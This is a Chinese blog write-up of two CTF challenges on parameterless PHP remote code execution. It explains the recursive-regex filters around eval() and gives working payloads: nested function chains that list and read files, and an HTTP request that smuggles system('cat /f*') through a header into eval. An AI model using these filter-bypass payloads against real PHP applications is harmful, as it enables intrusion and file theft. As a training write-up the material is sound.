记录分析做过的两道无参数 RCE 题

[GXYCTF2019]禁止套娃

无题目描述

题目来源:BUUOJ 练习场

关键正则判断:

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
    if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
        // echo $_GET['exp'];
        @eval($_GET['exp']);
    }
    else{
        die("还差一点哦!");
    }
}
正则表达式分析:

'/[a-z,_]+\((?R)?\)/'

+ 匹配一次或多次

\( \) 匹配括号

(?R) 递归匹配整个正则表达式

? 匹配0次或1次

[a-z,_]+ 匹配函数名(由小写字母和下划线组成)

故:[a-z,_]+\((?R)?\) 递归匹配函数名+括号,也即函数

当正则表达式匹配到函数时,将其替换为空。若替换掉所有函数后剩下的字符串为 ;,则执行 eval 函数。

也就是说,我们要想让 eval() 执行 exp,我们就必须将其赋值为一个函数,函数可以嵌套函数,最后以分号 ; 结尾。且函数名不能包含 et|na|info|dec|bin|hex|oct|pi|log 中的任意一个。

利用思路:
将 PHP 的各种可以利用的函数嵌套起来,达到 RCE 或文件读取的目的,最后以分号 ; 结尾。

一些常见的利用函数:
  • var_dump() 打印变量的相关信息
  • print_r() 打印变量的相关信息
  • highlight_file() 语法高亮显示文件
  • scandir() 列出指定路径中的文件和目录
  • get_defined_vars() 返回由所有已定义变量所组成的数组。
  • current() 返回当前被内部指针指向的数组元素的值,并不移动指针
  • pos() current 的别名
  • next() 将数组中的内部指针向前移动一位
  • prev() 将数组的内部指针倒回一位
  • end() 将数组的内部指针指向最后一个单元
  • array_reverse 返回一个顺序相反的数组
  • localeconv() 返回包含本地数字及货币格式信息的数组
  • array_rand() 从数组中随机取出一个或多个单元
  • array_flip() 交换数组中的键和值
  • getallheaders() 获取所有 HTTP 请求头信息
  • system() 执行外部程序并且显示输出
  • passthru() 执行外部程序并且显示原始输出

payload 分析:

localeconv() 返回的一个数组的第一个元素,数组中的每个元素都是一个包含本地数字及货币格式信息的数组。

current(localeconv()) 返回的一个数组的第一个元素,也即 decimal_point 的值 .

scandir(current(localeconv())) 返回 . 目录下的所有文件和目录数组。. 目录,即当前目录。

array_flip(scandir(current(localeconv()))) 返回将数组的键值和键名鹈替换后的数组。

array_rand(array_flip(scandir(current(localeconv())))) 数组中的一个随机键名,多随机几次,就随机到我们想看的文件了。

print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv())))))) 语法高亮输出随机键名对应的文件。

payload:

GET /?exp=var_dump(scandir(current(localeconv())));
GET /?exp=print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv()))))));

[NewStarCTF2023]R!!C!!E!!

R!!C!!E!!M!!E!!

题目来源:BUUOJ NewStarCTF2023

关键正则判断:

if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}
正则表达式分析:

'/[^\W]+\((?R)?\)/'

\W 匹配任何非单词字符。等价于 [^a-zA-Z0-9_]。

^\W 匹配任何非非单词字符,也就是匹配任何单词字符。等价于 [a-zA-Z0-9_]。

[^\W]+ 匹配函数名(由字母、数字、下划线组成)

+ 匹配一次或多次

\( \) 匹配括号

(?R) 递归匹配整个正则表达式

? 匹配0次或1次

故:'/[^\W]+\((?R)?\)/' 递归匹配函数名+括号,也即函数

思路同上,函数名不能包含 high|get_defined_vars|scandir|var_dump|read|file|php|curent|end 中的任意一个。

payload 分析:

过滤了 highlight_file(),可用 show_source(),过滤了 current(),可用 current 的别名 pos()

getallheaders() 函数返回所有 HTTP 请求头信息,以关联数组形式返回。

array_reverse(getallheaders()) 返回一个顺序相反的数组。

pos(array_reverse(getallheaders())) 返回一个顺序相反的数组的第一个元素,也即 X-Forwarder-For 的值。

eval(...) 执行 X-Forwarder-For 的值,也即 system('cat /f*');

payload:

GET /bo0g1pop.php?star=eval(pos(array_reverse(getallheaders()))); HTTP/1.1
Host: a4e4cca9-4fcf-4446-9bf2-e5030322c154.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
X-Forwarder-For: system('cat /f*');
Connection: close


参考:

墙裂推荐:https://deerchao.cn/tutorials/regex/regex.htm

https://zhuanlan.zhihu.com/p/347849603

https://blog.csdn.net/tales522/article/details/125028331

https://blog.csdn.net/weixin_46330722/article/details/110840156

https://shimo.im/docs/Dy5ekHJhKo0ap5v3/read

以及我的小助手 Copilot。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值